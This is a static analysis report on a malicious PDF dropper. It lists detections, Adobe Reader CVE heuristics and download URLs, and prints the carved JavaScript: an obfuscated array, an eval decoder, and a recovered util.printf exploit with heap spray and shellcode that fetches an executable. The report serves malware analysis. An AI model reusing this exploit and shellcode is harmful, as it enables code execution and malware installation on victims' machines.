Malicious PDF — malware analysis report

Static analysis result for SHA-256 bd7fce3a164a6ddc…

MALICIOUS

PDF

7.2 KB Created: 2009-09-18 19:42:77 Authoring application: Eblasha 3.4.1.2 (via PDF Library 10.6.10.8) First seen: 2013-10-02
MD5: b8caeddac2c5bc2db931a1d13bb90335 SHA-1: c58e649ffcc2efc149d4317591cef5f2eff27821 SHA-256: bd7fce3a164a6ddcb60bf8f022efeb547c179a43e14a45ff83f355e48577e9d7
606 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

This PDF was flagged by ML classifiers and ClamAV as malicious (Pdf.Dropper.Agent-7217216-0). It contains embedded JavaScript with eval() and String.fromCharCode calls, indicating obfuscated code execution. The primary function of the script appears to be downloading and executing a second-stage payload, as suggested by the 'Suspicious extracted artifact' heuristic. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7217216-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7217216-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var jlwz=0, egnorvz='';jlwz<5370;jlwz++){egnorvz += String.fromCharCode(fra[jlwz]-'aiPqrTw'.substring(jlwz%'aiPqrTw'.length,jlwz%'aiPqrTw'.length+1).charCodeAt(0));}eval(egnorvz);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://adminregion.info/puss/ghkr3.exe Referenced by PDF JavaScript
    • http://adminregion.info/puss/cfgiqtu3.exeReferenced by PDF JavaScript
    • http://adminregion.info/puss/adjmnptuz3.exeReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21483 bytes
SHA-256: e1661283c5fbabd22d8ea75e1e09e781860b5a8d7d8ff13add3c5a8f78bba07c
Preview script
First 1,000 lines of the extracted script
var fra=[199,222,190,212,230,189,230,207,137,182,218,234,179,224,213,145,201,210,228,199,231,141,213,181,223,155,207,238,201,210,188,214,154,205,216,211,220,192,159,222,185,229,200,221,184,155,164,144,227,198,215,121,236,235,181,233,212,217,123,174,235,181,233,212,217,139,238,124,205,216,211,220,192,174,235,181,233,212,217,126,228,231,182,234,213,219,185,223,217,124,167,141,213,181,223,161,134,160,156,219,181,229,231,198,229,129,226,177,227,229,196,178,222,115,182,230,224,183,235,202,216,190,145,231,200,224,205,200,192,227,219,194,235,199,145,121,236,232,181,233,129,217,177,234,222,195,216,197,166,197,223,215,199,218,194,217,181,153,148,121,236,151,157,137,161,151,201,168,153,170,129,150,231,132,167,145,153,117,230,170,150,167,145,142,197,164,162,136,167,134,222,132,161,170,150,156,214,161,146,166,166,121,236,145,157,132,161,151,201,171,145,161,146,150,231,140,185,145,157,117,230,162,136,171,145,142,197,163,162,132,187,134,222,130,161,162,132,156,214,156,148,161,162,121,236,145,153,135,180,151,201,167,145,160,135,150,231,132,168,152,157,117,230,165,135,186,148,142,197,167,166,151,167,134,222,132,161,170,150,156,214,160,136,164,162,121,236,153,171,128,180,151,201,167,164,157,128,150,231,139,167,153,171,117,230,179,152,168,164,142,197,166,170,140,185,134,222,149,179,162,140,156,214,161,146,161,171,121,236,148,157,132,161,151,201,171,145,161,148,150,231,140,185,152,172,117,230,165,151,172,153,142,197,165,166,138,184,134,222,148,162,167,149,156,214,155,146,182,164,121,236,153,171,149,163,151,201,188,163,174,147,150,231,137,184,149,175,117,230,170,135,172,147,142,197,166,168,153,184,134,222,133,166,170,141,156,214,158,134,161,166,121,236,153,171,133,168,151,201,170,164,160,131,150,231,139,171,153,171,117,230,169,140,170,148,142,197,183,165,132,170,134,222,136,179,167,138,156,214,155,128,168,168,121,236,167,156,128,164,151,201,186,154,156,131,150,231,137,167,149,162,117,230,179,152,171,146,142,197,183,184,135,170,134,222,128,183,165,138,156,214,154,132,179,183,121,236,148,161,128,164,151,201,174,149,175,130,150,231,151,168,145,161,117,230,162,152,186,167,142,197,183,179,132,170,134,222,149,179,166,132,156,214,158,136,182,184,121,236,167,161,131,179,151,201,188,150,160,133,150,231,140,185,150,174,117,230,164,136,171,151,142,197,180,165,132,170,134,222,136,179,168,138,156,214,157,136,161,181,121,236,150,159,136,179,151,201,167,148,154,147,150,231,140,185,165,156,117,230,170,149,167,149,142,197,180,165,132,170,134,222,133,182,167,154,156,214,172,131,166,162,121,236,152,173,136,181,151,201,172,152,153,136,150,231,150,175,150,155,117,230,181,149,170,148,142,197,166,180,140,184,134,222,145,163,183,140,156,214,175,150,183,184,121,236,148,155,150,183,151,201,175,163,172,128,150,231,154,169,167,160,117,230,166,154,184,166,142,197,168,167,150,175,134,222,134,166,164,153,156,214,170,146,168,170,121,236,154,161,134,167,151,201,184,163,159,134,150,231,151,167,148,156,117,230,168,133,185,153,142,197,161,162,138,171,134,222,133,161,162,132,156,214,158,132,167,170,121,236,152,155,134,169,151,201,170,150,159,133,150,231,133,186,147,157,117,230,169,136,173,154,142,197,166,166,137,167,134,222,146,169,167,135,156,214,175,147,178,179,121,236,152,172,128,181,151,201,172,150,175,150,150,231,140,185,145,157,117,230,170,135,189,153,142,197,161,181,151,171,134,222,134,180,180,132,156,214,174,128,169,179,121,236,150,153,137,169,151,201,173,167,159,136,150,231,134,188,151,174,117,230,168,140,173,149,142,197,168,164,139,172,134,222,134,181,168,151,156,214,171,136,166,166,121,236,149,174,136,182,151,201,188,164,153,149,150,231,137,172,167,175,117,230,171,135,167,149,142,197,164,165,137,167,134,222,133,161,181,132,156,214,158,134,166,162,121,236,150,158,136,179,151,201,175,148,153,132,150,231,139,189,164,155,117,230,181,134,175,148,142,197,166,164,136,186,134,222,146,169,167,132,156,214,154,145,164,168,121,236,152,153,130,183,151,201,172,150,175,150,150,231,137,185,145,157,117,230,167,138,172,152,142,197,170,170,150,175,134,222,136,178,184,153,156,214,175,150,161,183,121,236,145,157,133,166,151,201,167,145,159,145,150,231,152,174,167,175,117,230,169,136,173,153,142,197,168,162,139,171,134,222,130,183,165,149,156,214,159,129,163,184,121,236,151,173,134,165,151,201,173,166,159,137,150,231,138,172,152,155,117,230,168,141,173,152,142,197,167,183,138,189,134,222,134,170,164,153,156,214,159,134,167,183,121,236,147,175,134,183,151,201,174,150,160,128,150,231,139,170,152,156,117,230,168,139,169,167,142,197,167,180,138,175,134,222,131,164,169,134,156,214,159,133,163,183,121,236,151,158,135,169,151,201,167,145,153,128,147,155,143,237,194,219,112,223,225,196,180,214,215,181,228,213,181,231,198,145,114,150,231,132,184,145,170,117,230,162,149,167,162,142,197,161,179,132,184,134,222,128,178,162,149,153,138,115,198,210,228,116,223,198,202,192,211,222,195,218,204,166,190,224,226,127,231,194,226,188,224,211,184,178,215,202,194,145,212,189,222,195,213,191,212,221,145,236,207,206,195,212,211,196,220,137,139,117,230,162,149,167,162,142,197,161,179,132,184,131,146,139,231,211,198,151,201,206,177,213,215,198,234,202,227,181,174,164,132,178,215,202,194,145,229,196,233,194,226,141,217,215,181,219,198,219,195,218,236,185,162,201,206,177,225,212,192,230,196,212,126,221,215,194,222,213,209,139,232,218,189,227,198,145,178,218,217,182,227,208,204,187,159,222,185,229,200,221,184,173,229,196,233,194,226,121,236,212,189,222,195,213,191,212,221,127,180,195,210,183,211,222,195,218,204,164,205,123,232,181,233,129,207,185,221,222,182,227,208,204,187,174,212,189,222,195,213,191,212,221,130,234,214,203,195,229,228,189,229,200,145,128,157,229,196,233,194,226,121,172,232,181,233,129,203,188,224,213,191,180,195,210,183,211,222,195,218,204,151,195,230,212,199,235,211,210,190,216,154,132,163,195,210,183,211,222,195,218,204,151,188,214,224,187,235,201,150,195,225,228,181,240,138,164,199,217,219,192,220,137,203,188,224,213,191,165,205,206,190,216,230,188,162,212,217,194,210,235,144,167,217,157,128,161,162,132,160,220,203,188,224,213,191,180,195,213,191,212,221,127,217,205,216,179,220,157,186,224,205,213,178,221,225,183,226,156,230,90,231,211,198,151,206,206,189,208,211,198,233,194,226,141,223,215,203,151,162,219,194,210,235,124,160,156,207,191,227,154,202,216,211,137,185,174,162,143,224,157,154,132,161,162,143,224,140,148,121,236,223,185,228,192,202,194,227,211,205,210,202,198,141,211,222,195,218,204,148,184,214,211,196,217,205,216,179,220,173,209,129,215,202,194,145,224,201,228,158,154,130,170,171,141,176,154,162,137,170,171,141,176,154,162,137,170,171,141,176,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,172,231,200,224,205,151,192,227,219,194,235,199,145,114,150,166,137,167,145,153,182,147,158,194,236,206,146,139,238,124,186,236,207,204,196,218,225,194,151,196,216,188,221,211,182,214,198,214,177,218,222,124,160,220,223,177,227,146,199,223,198,213,188,212,225,184,220,158,222,190,214,229,183,216,209,206,120,147,151,201,173,149,162,128,150,231,133,175,162,154,117,230,162,132,167,145,142,197,169,180,132,167,134,222,131,161,166,132,156,214,157,128,169,180,121,236,153,171,133,165,151,201,167,149,157,128,150,231,136,167,153,171,117,230,170,150,167,149,142,197,161,166,136,167,134,222,130,161,162,152,156,214,155,128,161,162,121,236,148,173,128,161,151,201,167,145,160,147,150,231,132,167,152,160,117,230,162,133,174,149,142,197,164,165,151,170,134,222,134,165,181,132,156,214,157,128,169,180,121,236,152,161,131,161,151,201,175,163,153,147,150,231,132,186,149,153,117,230,169,132,175,163,142,197,178,182,133,186,134,222,133,169,170,150,156,214,174,146,161,170,121,236,153,171,128,170,151,201,170,149,157,128,150,231,136,167,153,173,117,230,170,150,174,164,142,197,164,181,137,175,134,222,132,165,168,149,156,214,173,129,166,179,121,236,147,171,149,163,151,201,175,163,174,130,150,231,153,185,166,172,117,230,167,149,171,167,142,197,169,165,137,169,134,222,133,167,183,149,156,214,158,133,169,171,121,236,150,159,128,165,151,201,175,163,158,135,150,231,135,186,152,156,117,230,169,136,175,163,142,197,168,170,135,170,134,222,150,164,162,135,156,214,161,146,166,168,121,236,147,153,135,167,151,201,189,148,153,131,150,231,151,176,148,156,117,230,167,132,171,154,142,197,178,182,136,168,134,222,150,183,165,135,156,214,153,150,164,168,121,236,146,157,146,182,151,201,170,153,153,131,150,231,139,171,167,155,117,230,181,133,167,153,142,197,161,182,151,189,134,222,150,178,162,135,156,214,174,146,165,162,121,236,150,161,149,183,151,201,189,153,156,146,150,231,153,172,152,158,117,230,170,150,172,166,142,197,163,166,136,173,134,222,147,164,162,135,156,214,161,146,167,168,121,236,149,161,128,180,151,201,172,151,161,146,150,231,132,170,146,172,117,230,170,150,187,148,142,197,169,179,132,171,134,222,147,164,162,135,156,214,158,149,166,184,121,236,164,156,133,161,151,201,174,165,161,148,150,231,137,174,145,161,117,230,180,140,172,147,142,197,180,179,135,170,134,222,133,179,170,149,156,214,170,130,182,170,121,236,167,175,150,183,151,201,170,147,175,150,150,231,140,185,164,153,117,230,184,134,189,152,142,197,165,184,149,188,134,222,135,166,180,140,156,214,159,133,163,183,121,236,162,171,135,169,151,201,176,153,159,134,150,231,149,185,151,159,117,230,181,132,170,148,142,197,167,163,150,175,134,222,128,161,168,136,156,214,158,128,161,162,121,236,150,157,134,169,151,201,174,147,159,136,150,231,135,172,151,158,117,230,163,151,169,149,142,197,168,166,138,176,134,222,133,165,167,132,156,214,171,136,166,165,121,236,167,172,145,178,151,201,174,164,153,148,150,231,137,172,167,175,117,230,170,150,167,149,142,197,169,165,154,175,134,222,128,180,181,136,156,214,159,147,179,162,121,236,166,153,136,178,151,201,172,145,162,136,150,231,138,189,151,161,117,230,164,153,173,166,142,197,167,170,138,171,134,222,135,163,169,137,156,214,159,148,167,181,121,236,163,161,133,165,151,201,171,166,161,149,150,231,153,186,145,174,117,230,167,137,189,167,142,197,170,165,132,171,134,222,131,164,167,132,156,214,158,128,180,162,121,236,150,159,133,161,151,201,172,150,161,146,150,231,140,170,145,157,117,230,169,154,186,147,142,197,180,164,140,170,134,222,133,163,166,151,156,214,171,136,166,162,121,236,146,170,131,167,151,201,174,145,155,150,150,231,137,172,167,175,117,230,167,150,167,149,142,197,166,168,137,174,134,222,137,169,180,140,156,214,161,145,183,183,121,236,167,175,128,182,151,201,167,149,158,133,150,231,132,167,151,170,117,230,182,139,189,167,142,197,168,166,138,175,134,222,135,161,169,136,156,214,155,150,164,179,121,236,151,154,130,183,151,201,173,165,159,132,150,231,138,188,151,162,117,230,168,137,174,147,142,197,167,171,138,174,134,222,134,182,168,154,156,214,159,137,163,183,121,236,151,159,134,182,151,201,169,167,159,150,150,231,139,172,152,153,117,230,169,135,174,148,142,197,167,165,134,189,134,222,134,168,168,138,156,214,160,129,167,171,121,236,152,158,135,165,151,201,169,166,156,131,150,231,139,175,151,158,117,230,162,132,173,150,139,121,172,232,181,233,129,214,181,222,209,181,233,211,202,201,174,224,185,238,129,170,194,227,211,205,159,138,164,198,210,228,116,218,196,166,128,233,162,183,167,196,153,179,161,213,143,237,194,219,112,210,214,184,233,158,153,200,165,162,132,167,145,153,139,231,211,198,151,212,204,175,221,215,194,180,212,209,181,221,222,183,230,197,206,126,221,215,194,222,213,209,122,163,173,202,216,211,137,188,214,224,145,216,197,205,194,158,154,199,218,192,213,181,223,157,132,239,148,161,121,172,232,181,233,129,226,177,227,229,196,180,214,215,181,228,213,181,231,198,145,114,150,231,141,167,154,153,117,230,171,132,176,145,139,121,172,235,181,233,212,217,141,215,219,204,214,202,221,120,234,211,198,234,209,149,188,214,224,125,178,215,202,194,145,213,195,236,207,221,130,174,154,183,218,142,153,200,165,162,132,167,145,153,121,160,211,184,219,211,164,182,224,228,124,237,194,219,112,212,225,201,229,213,166,128,172,213,195,236,207,221,140,212,225,201,229,213,155,139,212,225,201,229,213,148,123,154,237,193,220,206,200,177,227,228,181,240,188,204,191,230,224,200,212,158,226,177,227,229,196,162,212,209,181,221,222,183,230,197,206,139,238,124,202,216,211,137,191,231,215,198,221,205,216,199,174,231,194,220,212,204,177,225,215,124,153,134,222,128,212,162,183,156,214,153,179,161,213,118,160,156,224,184,218,222,185,159,208,223,181,227,216,192,230,216,151,188,214,224,187,235,201,165,132,165,171,137,169,138,228,191,231,215,198,221,205,216,199,156,175,195,237,198,219,182,221,225,203,178,222,115,196,217,219,199,165,196,216,188,221,211,182,202,213,216,194,214,175,151,230,205,213,177,211,160,183,230,205,213,181,212,230,153,228,194,210,188,186,224,186,230,137,228,195,230,212,190,177,131,139,124,222,229,187,177,208,223,181,227,216,192,230,216,230,121,172,239,94,221,214,215,179,229,219,195,229,129,204,191,221,222,181,217,192,208,181,229,219,183,230,207,145,121,236,219,186,159,194,217,192,159,214,195,218,143,172,191,221,222,181,217,143,208,181,229,187,183,230,207,146,203,231,211,198,151,194,219,194,234,175,194,220,216,137,145,227,228,181,240,137,146,139,231,211,198,151,215,223,192,214,230,188,240,194,166,197,223,215,199,218,194,217,181,153,148,121,236,151,157,137,161,151,201,168,153,170,129,150,231,132,167,145,153,117,230,170,150,167,145,142,197,164,162,136,167,134,222,132,161,170,150,156,214,161,146,166,166,121,236,145,157,132,161,151,201,171,145,161,146,150,231,140,185,145,157,117,230,162,136,171,145,142,197,163,162,132,187,134,222,130,161,162,132,156,214,156,148,161,162,121,236,145,153,135,180,151,201,167,145,160,135,150,231,132,168,152,157,117,230,165,135,186,148,142,197,167,166,151,167,134,222,132,161,170,150,156,214,160,136,164,162,121,236,153,171,128,180,151,201,167,164,157,128,150,231,139,167,153,171,117,230,179,152,168,164,142,197,166,170,140,185,134,222,149,179,162,140,156,214,161,146,161,171,121,236,148,157,132,161,151,201,171,145,161,148,150,231,140,185,152,172,117,230,165,151,172,153,142,197,165,166,138,184,134,222,148,162,167,149,156,214,155,146,182,164,121,236,153,171,149,163,151,201,188,163,174,147,150,231,137,184,149,175,117,230,170,135,172,147,142,197,166,168,153,184,134,222,133,166,170,141,156,214,158,134,161,166,121,236,153,171,133,168,151,201,170,164,160,131,150,231,139,171,153,171,117,230,169,140,170,148,142,197,183,165,132,170,134,222,136,179,167,138,156,214,155,128,168,168,121,236,167,156,128,164,151,201,186,154,156,131,150,231,137,167,149,162,117,230,179,152,171,146,142,197,183,184,135,170,134,222,128,183,165,138,156,214,154,132,179,183,121,236,148,161,128,164,151,201,174,149,175,130,150,231,151,168,145,161,117,230,162,152,186,167,142,197,183,179,132,170,134,222,149,179,166,132,156,214,158,136,182,184,121,236,167,161,131,179,151,201,188,150,160,133,150,231,140,185,150,174,117,230,164,136,171,151,142,197,180,165,132,170,134,222,136,179,168,138,156,214,157,136,161,181,121,236,150,159,136,179,151,201,167,148,154,147,150,231,140,185,165,156,117,230,170,149,167,149,142,197,180,165,132,170,134,222,133,182,167,154,156,214,172,131,166,162,121,236,152,173,136,181,151,201,172,152,153,136,150,231,150,175,150,155,117,230,181,149,170,148,142,197,166,180,140,184,134,222,145,163,183,140,156,214,175,150,183,184,121,236,148,155,150,183,151,201,175,163,172,128,150,231,154,169,167,160,117,230,166,154,184,166,142,197,168,167,150,175,134,222,134,166,164,153,156,214,170,146,168,170,121,236,154,161,134,167,151,201,184,163,159,134,150,231,151,167,148,156,117,230,168,133,185,153,142,197,161,162,138,171,134,222,133,161,162,132,156,214,158,132,167,170,121,236,152,155,134,169,151,201,170,150,159,133,150,231,133,186,147,157,117,230,169,136,173,154,142,197,166,166,137,167,134,222,146,169,167,135,156,214,175,147,178,179,121,236,152,172,128,181,151,201,172,150,175,150,150,231,140,185,145,157,117,230,170,135,189,153,142,197,161,181,151,171,134,222,134,180,180,132,156,214,174,128,169,179,121,236,150,153,137,169,151,201,173,167,159,136,150,231,134,188,151,174,117,230,168,140,173,149,142,197,168,164,139,172,134,222,134,181,168,151,156,214,171,136,166,166,121,236,149,174,136,182,151,201,188,164,153,149,150,231,137,172,167,175,117,230,171,135,167,149,142,197,164,165,137,167,134,222,133,161,181,132,156,214,158,134,166,162,121,236,150,158,136,179,151,201,175,148,153,132,150,231,139,189,164,155,117,230,181,134,175,148,142,197,166,164,136,186,134,222,146,169,167,132,156,214,154,145,164,168,121,236,152,153,130,183,151,201,172,150,175,150,150,231,137,185,145,157,117,230,167,138,172,152,142,197,170,170,150,175,134,222,136,178,184,153,156,214,175,150,161,183,121,236,145,157,133,166,151,201,167,145,159,145,150,231,152,174,167,175,117,230,169,136,173,153,142,197,168,162,139,171,134,222,130,183,165,149,156,214,159,129,163,184,121,236,151,173,134,165,151,201,173,166,159,137,150,231,138,172,152,155,117,230,168,141,173,152,142,197,167,183,138,189,134,222,134,170,164,153,156,214,159,134,167,183,121,236,147,175,134,183,151,201,174,150,160,128,150,231,139,170,152,156,117,230,168,133,169,167,142,197,167,179,138,171,134,222,134,182,168,152,156,214,160,132,168,162,121,236,152,170,135,166,151,201,169,166,156,131,150,231,139,175,151,158,117,230,162,132,173,150,139,121,172,232,181,233,129,209,167,226,167,132,167,164,183,141,231,232,196,220,213,209,201,210,160,192,220,207,208,196,217,156,134,178,215,202,194,145,222,185,229,158,153,200,165,162,132,167,145,153,125,153,218,171,232,150,153,128,180,192,127,167,217,156,136,154,173,202,216,211,137,201,210,228,199,231,158,222,190,214,229,183,216,209,206,120,147,151,201,176,145,162,128,150,231,141,167,154,153,114,154,173,205,216,211,220,192,174,216,189,239,192,210,196,153,235,181,233,212,217,124,221,215,194,160,156,223,177,227,146,196,172,162,211,155,167,167,186,180,137,153,200,161,213,132,218,145,204,128,212,159,132,239,149,153,128,161,162,132,160,144,153,200,165,162,132,167,145,153,139,215,225,198,159,215,202,194,145,232,197,218,178,173,137,167,235,145,167,156,223,193,212,195,152,176,151,226,140,225,167,149,225,172,159,133,215,173,202,232,196,186,148,170,168,205,162,140,146,203,210,228,198,240,188,223,193,212,195,152,176,151,226,173,174,235,181,233,212,217,123,231,232,196,220,213,209,201,210,173,209,129,215,202,194,145,230,169,196,201,183,178,184,233,145,236,207,206,195,212,211,196,220,137,139,117,161,171,118,160,156,224,184,218,222,185,159,213,190,157,217,192,182,190,216,151,188,214,224,187,235,201,165,128,233,166,132,167,145,146,203,229,199,161,223,175,203,151,232,157,145,235,182,182,184,191,212,155,238,156,230,90,229,199,161,223,175,203,151,232,175,118,197,143,139,123,229,199,161,223,175,203,151,232,173,181,231,209,151,180,224,213,130,186,208,213,188,210,212,130,222,198,221,153,212,225,194,159,213,190,157,217,192,182,190,216,146,139,238,239,94,221,214,215,179,229,219,195,229,129,217,180,215,209,199,235,194,219,196,153,155,207,237,194,219,112,231,215,198,234,202,216,190,174,211,196,231,143,223,185,214,233,185,233,183,206,194,228,219,195,229,143,221,191,196,230,198,224,207,208,120,154,173,202,220,211,220,185,224,224,145,237,198,219,195,218,225,194,165,211,206,192,221,211,183,220,137,152,172,181,161,187,163,136,144,121,172,232,181,233,129,223,177,227,229,189,230,207,200,177,227,228,181,240,158,215,181,232,146,149,233,211,202,201,153,232,185,233,212,210,191,223,160,183,223,194,219,145,229,154,132,160,141,223,181,227,229,189,230,207,151,179,217,211,198,184,213,145,129,154,158,202,220,211,220,185,224,224,130,218,201,202,194,178,230,124,169,138,146,139,218,216,124,159,215,202,194,228,219,195,229,192,202,194,227,211,205,210,145,198,141,174,170,125,157,135,145,198,210,228,199,224,208,215,175,210,228,198,216,218,196,129,206,175,145,167,138,229,204,153,232,181,233,212,210,191,223,209,181,233,211,202,201,204,163,177,180,158,154,118,151,232,181,233,212,210,191,223,209,181,233,211,202,201,204,164,177,179,148,146,121,236,231,200,224,205,200,192,227,219,194,235,199,145,121,172,239,94,224,199,145,120,231,211,198,234,202,216,190,208,211,198,233,194,226,171,161,207,144,175,138,229,204,153,232,181,233,212,210,191,223,209,181,233,211,202,201,204,162,177,180,158,161,118,151,232,181,233,212,210,191,223,209,181,233,211,202,201,204,163,177,179,147,143,118,231,211,198,234,202,216,190,208,211,198,233,194,226,171,163,207,144,169,138,146,203,212,225,192,227,194,203,175,214,223,181,224,205,145,121,172,239,94,224,199,145,120,231,211,198,234,202,216,190,208,211,198,233,194,226,171,161,207,144,176,138,229,204,153,232,181,233,212,210,191,223,209,181,233,211,202,201,204,162,177,180,158,162,118,151,232,181,233,212,210,191,223,209,181,233,211,202,201,204,163,177,179,146,146,121,236,213,195,227,205,202,178,208,217,185,235,202,204,191,223,154,125,178,222,230,90,225,214,186,214,212,221,177,227,230,124,160,156];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1885 184 bytes
SHA-256: 7583752bb00e50400afa1935837f5d24fc5a7c8ccd5ca5bb8dd19f8274d151aa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var jlwz=0, egnorvz='';jlwz<5370;jlwz++){egnorvz += String.fromCharCode(fra[jlwz]-'aiPqrTw'.substring(jlwz%'aiPqrTw'.length,jlwz%'aiPqrTw'.length+1).charCodeAt(0));}eval(egnorvz);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5370 bytes
SHA-256: 7627935eacbd5eec9752d51fa328e20763095d150f56625e4f74e9c7dc97fc3a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u7570%u7373%u672F%u6B68%u3372%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
